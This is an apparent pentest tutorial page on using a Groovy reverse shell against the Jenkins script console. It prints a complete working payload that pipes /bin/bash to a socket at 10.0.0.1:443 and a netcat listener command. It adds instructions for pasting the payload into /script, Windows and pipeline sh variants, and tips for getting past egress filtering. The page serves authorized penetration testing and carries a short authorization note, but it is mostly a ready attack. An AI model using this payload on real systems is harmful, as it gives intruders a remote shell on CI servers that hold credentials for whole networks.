Skip to content
reverseshell

Groovy Reverse Shell: The Jenkins Script Console Classic

How a Groovy reverse shell works on the JVM, the one used against the Jenkins script console, and where else Groovy execution shows up.

Published on 2 min read

Groovy reverse shells exist for one overwhelmingly common reason: the Jenkins script console. An authenticated (or misconfigured-anonymous) Jenkins at /script runs arbitrary Groovy as the Jenkins user, and CI servers tend to sit in trusted parts of the network with credentials to everything. That makes the Groovy payload one of the highest-value items in an authorized internal test.

The Script Console One-Liner

Groovy runs on the JVM, so this is structurally the Java reverse shell — a ProcessBuilder plus a Socket, with the streams pumped between them:

String host="10.0.0.1";int port=443;String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
  while(pi.available()>0) so.write(pi.read());
  while(si.available()>0) po.write(si.read());
  so.flush(); po.flush(); Thread.sleep(50);
  try{ p.exitValue(); break; }catch(Exception e){}
};
p.destroy(); s.close();

Paste it into the Jenkins script console, catch it with nc -lvnp 443, and you have a shell as the Jenkins service account. On Windows agents, swap "/bin/bash" for "cmd.exe".

Where Groovy Execution Comes From

Beyond the obvious script console, Groovy runs in several Jenkins contexts worth checking in an assessment:

  • Pipeline scripts (Jenkinsfile) — a sh step is even simpler; you may not need a Groovy socket at all, just sh 'bash -c "..."'.
  • Build steps that execute Groovy.
  • Other Groovy hosts — Gradle builds, Grails apps, and various Java middleware embed Groovy.

If you can run a pipeline sh step, prefer the plain bash one-liner — it is shorter and the JVM socket dance is unnecessary.

When It Won't Connect

  1. No bash on the agent — use cmd.exe (Windows) or the pure-socket approach from the Java post.
  2. Egress filtered from the CI server — prefer 443/80; CI boxes often have broad outbound, but test per egress filtering.
  3. Listener mismatch — see choosing a listener.

General triage: why reverse shells fail.

Generate the Underlying Payload

The reverse shell generator produces the bash payload (for pipeline sh steps) and the listener; wrap the JVM form above around it when you only have the script console.

Authorized Testing Only

Use Groovy reverse shells only against Jenkins and JVM systems you own or are explicitly authorized to test. Authorization is what makes the work legitimate.

Related articles

A plain-English explanation of how reverse shells work, why they beat bind shells through firewalls, and how a reverse shell generator saves you from copy-paste mistakes.
The common bash reverse shell one-liners explained line by line, why they need bash (not sh), and how to fall back when /dev/tcp is missing.
How the python reverse shell one-liner works with socket and pty, why the python/python3 split breaks payloads, and a version-agnostic fallback.